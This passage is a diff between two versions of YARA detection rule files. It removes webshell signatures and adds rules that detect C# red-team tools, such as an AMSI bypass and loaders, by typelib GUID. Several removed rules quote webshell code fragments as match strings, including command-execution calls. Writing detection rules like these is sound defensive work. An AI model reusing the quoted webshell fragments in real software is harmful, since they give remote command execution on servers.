-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "ddcf9031-2ec8-5a86-8326-60e4a699f494"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4783-L4794"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "4e913f159e33867be729631a7ca46850"
-		logic_hash = "a63910d97b7ef447b2cadb7de12943d3dbb6eada27d3097b8acf58d9b65b6f60"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "e731d563-0d16-5f84-8127-624a71f8b646"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/r3nhat/GRAT2"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L826-L840"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b4ac181d6bdb40eb58326c00c93ee6d6e78d7cbdb382422873d7f744ad0ec2a1"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "$dataout .= \"<td><a href='$MyLoc?$SREQ&incdbhost=$myhost&incdbuser=$myuser&incd"
-		$s1 = "if($run == 1 && $phpshellapp && $phpshellhost && $phpshellport) $strOutput .= DB"
+		$typelibguid0lo = "5e7fce78-1977-444f-a18e-987d708a2cff" ascii wide
+		$typelibguid0up = "5E7FCE78-1977-444F-A18E-987D708A2CFF" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Safe0Ver_Shell__Safe_Mod_Bypass_By_Evilc0Der_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Powershdll : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Safe0ver Shell -Safe Mod Bypass By Evilc0der.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "25971f62-33ee-5ed6-8d72-118be5bd2deb"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4795-L4807"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "6163b30600f1e80d2bb5afaa753490b6"
-		logic_hash = "46f6bb38f1175e02b03047c06a7aed968b1c1ce2e28cc4b88e15703040e91592"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "3f582a47-078e-525f-9d02-4ee7a455a3b2"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/p3nt4/PowerShdll"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L842-L856"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b000c10d55d7d8902c036306dd51a5f3d32b83e88c081f337140e448c2cd836e"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "Safe0ver" fullword
-		$s1 = "Script Gecisi Tamamlayamadi!"
-		$s2 = "document.write(unescape('%3C%68%74%6D%6C%3E%3C%62%6F%64%79%3E%3C%53%43%52%49%50%"
+		$typelibguid0lo = "36ebf9aa-2f37-4f1d-a2f1-f2a45deeaf21" ascii wide
+		$typelibguid0up = "36EBF9AA-2F37-4F1D-A2F1-F2A45DEEAF21" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Shell_Php_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Csharpamsibypass : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file shell.php.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "eaf243cb-fa26-5f34-a724-60a08acff636"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4808-L4820"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1a95f0163b6dea771da1694de13a3d8d"
-		logic_hash = "dbd08e71dc512f8dcf009150fb4448cd3608291ef9078c7e6b86e6f8d820bd94"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "ca97004e-edc1-5b5a-ac67-e81ae24631aa"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/WayneJLee/CsharpAmsiBypass"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L858-L872"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "c422c6b2dc54f5d62a4e5e85da4add5d0bf4eb5107f6778a45835649581a5517"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
-	strings:
-		$s1 = "/* We have found the parent dir. We must be carefull if the parent " fullword
-		$s2 = "$tmpfile = tempnam('/tmp', 'phpshell');"
-		$s3 = "if (ereg('^[[:blank:]]*cd[[:blank:]]+([^;]+)$', $command, $regs)) {" fullword
+	strings:
+		$typelibguid0lo = "4ab3b95d-373c-4197-8ee3-fe0fa66ca122" ascii wide
+		$typelibguid0up = "4AB3B95D-373C-4197-8EE3-FE0FA66CA122" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Telnet_Cgi
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Hastyseries : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file telnet.cgi.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "4ca3dace-cd80-58e4-a4de-47dcc64dac0e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4821-L4833"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "dee697481383052980c20c48de1598d1"
-		logic_hash = "689c1d43c64aa7469989686c60fc9ab46acde42fdf3c1157bae1e2b8373c845f"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0d35acf4-c763-593c-94e2-c499d3826375"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/obscuritylabs/HastySeries"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L874-L906"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "79bbcc46c8a327b6d0aec61ceb8516a097f02ac71e692d22f1893a529a011f44"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "W A R N I N G: Private Server"
-		$s2 = "print \"Set-Cookie: SAVEDPWD=;\\n\"; # remove password cookie"
-		$s3 = "$Prompt = $WinNT ? \"$CurrentDir> \" : \"[admin\\@$ServerName $C"
+		$typelibguid0lo = "8435531d-675c-4270-85bf-60db7653bcf6" ascii wide
+		$typelibguid0up = "8435531D-675C-4270-85BF-60DB7653BCF6" ascii wide
+		$typelibguid1lo = "47db989f-7e33-4e6b-a4a5-c392b429264b" ascii wide
+		$typelibguid1up = "47DB989F-7E33-4E6B-A4A5-C392B429264B" ascii wide
+		$typelibguid2lo = "300c7489-a05f-4035-8826-261fa449dd96" ascii wide
+		$typelibguid2up = "300C7489-A05F-4035-8826-261FA449DD96" ascii wide
+		$typelibguid3lo = "41bf8781-ae04-4d80-b38d-707584bf796b" ascii wide
+		$typelibguid3up = "41BF8781-AE04-4D80-B38D-707584BF796B" ascii wide
+		$typelibguid4lo = "620ed459-18de-4359-bfb0-6d0c4841b6f6" ascii wide
+		$typelibguid4up = "620ED459-18DE-4359-BFB0-6D0C4841B6F6" ascii wide
+		$typelibguid5lo = "91e7cdfe-0945-45a7-9eaa-0933afe381f2" ascii wide
+		$typelibguid5up = "91E7CDFE-0945-45A7-9EAA-0933AFE381F2" ascii wide
+		$typelibguid6lo = "c28e121a-60ca-4c21-af4b-93eb237b882f" ascii wide
+		$typelibguid6up = "C28E121A-60CA-4C21-AF4B-93EB237B882F" ascii wide
+		$typelibguid7lo = "698fac7a-bff1-4c24-b2c3-173a6aae15bf" ascii wide
+		$typelibguid7up = "698FAC7A-BFF1-4C24-B2C3-173A6AAE15BF" ascii wide
+		$typelibguid8lo = "63a40d94-5318-42ad-a573-e3a1c1284c57" ascii wide
+		$typelibguid8up = "63A40D94-5318-42AD-A573-E3A1C1284C57" ascii wide
+		$typelibguid9lo = "56b8311b-04b8-4e57-bb58-d62adc0d2e68" ascii wide
+		$typelibguid9up = "56B8311B-04B8-4E57-BB58-D62ADC0D2E68" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Ironshell_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Dreamprotectorfree : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file ironshell.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "0d63ad03-4d1d-535f-8afe-3edaf1bf4010"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4834-L4848"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "8bfa2eeb8a3ff6afc619258e39fded56"
-		logic_hash = "23574299ee2bb33c3f71102adf71ac8f09b6f8ece5f798beacb9b2432d297ee7"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "9ebee989-3441-5a76-b243-08de978b541c"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/Paskowsky/DreamProtectorFree"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L908-L922"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "04c6daa23bbca852f83853e717c81622130beb3ac2551f8c3e23d2ec75aa0376"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "www.ironwarez.info"
-		$s1 = "$cookiename = \"wieeeee\";"
-		$s2 = "~ Shell I"
-		$s3 = "www.rootshell-team.info"
-		$s4 = "setcookie($cookiename, $_POST['pass'], time()+3600);"
+		$typelibguid0lo = "f7e8a902-2378-426a-bfa5-6b14c4b40aa3" ascii wide
+		$typelibguid0up = "F7E8A902-2378-426A-BFA5-6B14C4B40AA3" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Backdoorfr_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Redsharp : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file backdoorfr.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "5ba2b617-a873-5e80-9cfc-c61cc8d605f3"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4849-L4860"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "91e4afc7444ed258640e85bcaf0fecfc"
-		logic_hash = "40a6fb41a65fd35acb7cdc36fdda90f5dc54b641adc3ba9eaae29c5e46622206"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "2aa62d61-075c-5664-a7fc-2b9d84b954ed"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/padovah4ck/RedSharp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L924-L938"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "b611422c3bd8d3ed713cbeabadef0402dfdee42e8bbe563b054dc582945d8519"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "www.victime.com/index.php?page=http://emplacement_de_la_backdoor.php , ou en tan"
-		$s2 = "print(\"<br>Provenance du mail : <input type=\\\"text\\\" name=\\\"provenanc"
+		$typelibguid0lo = "30b2e0cf-34dd-4614-a5ca-6578fb684aea" ascii wide
+		$typelibguid0up = "30B2E0CF-34DD-4614-A5CA-6578FB684AEA" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Aspydrv_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_ESC : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file aspydrv.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "4420d13e-7015-5083-ba08-b41bf28b00c2"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4861-L4874"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "1c01f8a88baee39aa1cebec644bbcb99"
-		logic_hash = "64912d7521d4bff33b5f3a78525bf4ed94246f5933753bed7ca02bedffc85f0f"
-		score = 60
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "a57c47e8-62bf-5425-9735-35a3e3a0c218"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NetSPI/ESC"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L940-L956"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff959136f219b082dd9b601dbf2fea41265ce08a4cf57e368b2b4ac1f09ea698"
+		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "If mcolFormElem.Exists(LCase(sIndex)) Then Form = mcolFormElem.Item(LCase(sIndex))"
-		$s1 = "password"
-		$s2 = "session(\"shagman\")="
+		$typelibguid0lo = "06260ce5-61f4-4b81-ad83-7d01c3b37921" ascii wide
+		$typelibguid0up = "06260CE5-61F4-4B81-AD83-7D01C3B37921" ascii wide
+		$typelibguid1lo = "87fc7ede-4dae-4f00-ac77-9c40803e8248" ascii wide
+		$typelibguid1up = "87FC7EDE-4DAE-4F00-AC77-9C40803E8248" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Cmdjsp_Jsp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Csharp_Loader : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file cmdjsp.jsp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "048478a8-9622-54c7-80ed-e4e223d14500"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4875-L4888"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b815611cc39f17f05a73444d699341d4"
-		logic_hash = "8b0e425c7d71ea2c536192ff186665e7f0fbdbc0e0d195d7107ac57cf9bd1773"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "bf0c3d93-cbea-54c7-b950-fd4e5a600d07"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/NYAN-x-CAT/Csharp-Loader"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L958-L972"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "ff65463c10a7f4940f4dedef42707fe7feacded52d75014245e1961d1c80e845"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "// note that linux = cmd and windows = \"cmd.exe /c + cmd\" " fullword
-		$s1 = "Process p = Runtime.getRuntime().exec(\"cmd.exe /C \" + cmd);" fullword
-		$s2 = "cmdjsp.jsp"
-		$s3 = "michaeldaw.org" fullword
+		$typelibguid0lo = "5fd7f9fc-0618-4dde-a6a0-9faefe96c8a1" ascii wide
+		$typelibguid0up = "5FD7F9FC-0618-4DDE-A6A0-9FAEFE96C8A1" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_H4Ntu_Shell__Powered_By_Tsoi_
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Bantam : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file h4ntu shell [powered by tsoi].txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "186358e6-88a3-5fad-b1ba-a49b2a5dea1c"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4889-L4900"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "06ed0b2398f8096f1bebf092d0526137"
-		logic_hash = "32c620a4ed3f7a8640928e2211516978c12cfbdedb7d96e923303740407b5a1c"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "0ed3f5e5-d954-51e2-b7fb-4c25ca3d9f10"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/gellin/bantam"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L974-L988"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "a1d0749746dc3a109b592165616f829d01cfb4be8e16137548be8a85c40d6eb7"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "h4ntu shell"
-		$s1 = "system(\"$cmd 1> /tmp/cmdtemp 2>&1; cat /tmp/cmdtemp; rm /tmp/cmdtemp\");"
+		$typelibguid0lo = "14c79bda-2ce6-424d-bd49-4f8d68630b7b" ascii wide
+		$typelibguid0up = "14C79BDA-2CE6-424D-BD49-4F8D68630B7B" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Ajan_Asp
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharptask : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file Ajan.asp.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "6040fd88-b992-5110-8b37-7711ace30b1a"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4901-L4913"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "b6f468252407efc2318639da22b08af0"
-		logic_hash = "13988af864a62ca04501288d4f2d830815ab453b14cef6795fe993db1dd1a9ef"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "2cdd1a15-c70c-5eea-b5a7-8b4a445b9323"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/jnqpblc/SharpTask"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L990-L1004"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "8c6fae49accf763101ce0afc6c1ffd07740fbc68105f99059fac4f7ba0c8846c"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = "c:\\downloaded.zip"
-		$s2 = "Set entrika = entrika.CreateTextFile(\"c:\\net.vbs\", True)" fullword
-		$s3 = "http://www35.websamba.com/cybervurgun/"
+		$typelibguid0lo = "13e90a4d-bf7a-4d5a-9979-8b113e3166be" ascii wide
+		$typelibguid0up = "13E90A4D-BF7A-4D5A-9979-8B113E3166BE" ascii wide
 
 	condition:
-		1 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_PHANTASMA_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Windowsplague : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file PHANTASMA.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "21ff4cee-9cdc-57d1-9c43-e033fdb47de0"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4914-L4927"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "52779a27fa377ae404761a7ce76a5da7"
-		logic_hash = "d4a2a1bcc1ff3264b35f2b05d7de664b56807977f2a793fd87206f046a185d3b"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "89729c43-ae01-5c1f-af04-06d7a6c4e7fc"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/RITRedteam/WindowsPlague"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1006-L1020"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "3c8ce2b52a4ebab5b9693d957c43cf1c340160f4bdd05d3cb95af496e7168d83"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = ">[*] Safemode Mode Run</DIV>"
-		$s1 = "$file1 - $file2 - <a href=$SCRIPT_NAME?$QUERY_STRING&see=$file>$file</a><br>"
-		$s2 = "[*] Spawning Shell"
-		$s3 = "Cha0s"
+		$typelibguid0lo = "cdf8b024-70c9-413a-ade3-846a43845e99" ascii wide
+		$typelibguid0up = "CDF8B024-70C9-413A-ADE3-846A43845E99" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Mysql_Web_Interface_Version_0_8_Php
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Misc_Csharp : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file MySQL Web Interface Version 0.8.php.txt"
-		author = "Neo23x0 Yara BRG + customization by Stefan -dfate- Molls"
-		id = "90616d2d-082b-5983-a859-62d1c5b8066e"
-		date = "2023-12-05"
-		modified = "2023-12-05"
-		reference = "https://github.com/Neo23x0/signature-base"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/thor-webshells.yar#L4928-L4941"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		hash = "36d4f34d0a22080f47bb1cb94107c60f"
-		logic_hash = "f0a20870a3240948e3ef1ad61685b00c5fc90d6098b87af9ac43ab44ccd13c9e"
+		description = "Detects c# red/black-team tools via typelibguid"
+		author = "Arnim Rupp (https://github.com/ruppde)"
+		id = "d25fa706-2254-5a82-a961-f57a0daa447c"
+		date = "2020-12-13"
+		modified = "2023-04-06"
+		reference = "https://github.com/jnqpblc/Misc-CSharp"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_github_net_redteam_tools_guids.yar#L1022-L1038"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "446cf6773e679b18da31f63b52cdc6918e77ce5496848864c973ca5af60cdb05"
 		score = 75
 		quality = 85
-		tags = ""
+		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = "SooMin Kim"
-		$s1 = "http://popeye.snu.ac.kr/~smkim/mysql"
-		$s2 = "href='$PHP_SELF?action=dropField&dbname=$dbname&tablename=$tablename"
-		$s3 = "<th>Type</th><th>&nbspM&nbsp</th><th>&nbspD&nbsp</th><th>unsigned</th><th>zerofi"
+		$typelibguid0lo = "d1421ba3-c60b-42a0-98f9-92ba4e653f3d" ascii wide
+		$typelibguid0up = "D1421BA3-C60B-42A0-98F9-92BA4E653F3D" ascii wide
+		$typelibguid1lo = "2afac0dd-f46f-4f95-8a93-dc17b4f9a3a1" ascii wide
+		$typelibguid1up = "2AFAC0DD-F46F-4F95-8A93-DC17B4F9A3A1" ascii wide
 
 	condition:
-		2 of them
+		( uint16(0)==0x5A4D and uint32( uint32(0x3C))==0x00004550) and any of them
 }
-rule SIGNATURE_BASE_Simple_Cmd_Html
+import "pe"
+
+rule SIGNATURE_BASE_HKTL_NET_GUID_Sharpspray : FILE
 {
 	meta:
-		description = "Semi-Auto-generated  - file simple_cmd.html.txt"
